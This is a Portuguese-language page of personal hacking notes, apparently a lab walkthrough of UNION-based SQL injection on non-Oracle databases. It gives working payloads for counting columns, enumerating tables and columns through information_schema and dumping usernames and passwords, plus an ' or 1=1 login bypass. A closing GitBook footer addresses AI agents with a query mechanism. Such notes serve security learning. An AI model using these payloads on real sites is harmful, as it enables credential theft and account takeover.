> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/non-oracle-database-enumeration.md).

# Enumeração de banco de dados não-Oracle

### Ataque de injeção SQL, listando o conteúdo do banco de dados em bancos de dados não Oracle

#### Contexto

* Parâmetro vulnerável: `category` filtro (injeção por meio de `WHERE`).
* A aplicação retorna resultados SQL na resposta, permitindo `UNION`extração baseada em -

#### Objetivo

* Identifique o nome da tabela que contém as credenciais, descubra suas colunas, extraia `nome de usuário` / `senha` pares e conecte-se como `administrador`.

#### Metodologia (fases concisas)

1. **Determine o número de colunas**/ Exemplo:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

* Aumente o índice até causar um erro → saiba o número de colunas para `UNION`.

2. **Validar `UNION SELECT`**/ Exemplo (2 colunas):

   ```sql
   ' UNION SELECT '1','2'-- -
   ```

* Adapte-se às N colunas retornadas (use `NULL` para colunas irrelevantes).

3. \*\* Listar tabelas\*\* (base não Oracle — `information_schema`)

   ```sql
   ' UNION SELECT NULL, table_name
     FROM information_schema.tables
     WHERE table_schema = 'public'-- -
   ```

* Permite listar tabelas no `public` esquema (compatível com Postgres/MySQL).

4. Liste as colunas de uma tabela identificada

```sql
' UNION SELECT NULL, column_name
  FROM information_schema.columns
  WHERE table_schema = 'public' AND table_name = 'users_arejzy'-- -
```

* Substitua `users_arejzy` pela tabela descoberta.

5. Extrair conteúdo (dump)

Exemplo (colunas identificadas password/ qxbwwb, username/ lidnwi):

```sql
' UNION SELECT password_qxbwwb, username_lidnwi
  FROM users_arejzy-- -
```

* Ajuste a ordem/tipo das colunas de acordo com a requisição vulnerável (use `CAST`/`CONCAT`/`NULL` se necessário).

6. Contornar / login

* Uma vez que o nome de usuário = administrator e a senha forem recuperados, conecte-se pela página de autenticação.
* Como alternativa, use um payload de bypass de autenticação se a tabela não estiver diretamente acessível (por exemplo, username = ' or 1=1-- -), mas a exfiltração direta é preferível como prova.

#### Resultado esperado

* Lista de nomes de tabelas, colunas e, depois, dump das credenciais.
* Conexão bem-sucedida como `administrador` usando credenciais exfiltradas.

#### Impacto

* Comprometer contas (escalada completa se admin), extrair informações sensíveis, alteração/exclusão de dados, possível extorsão.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/sql-injection/non-oracle-database-enumeration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
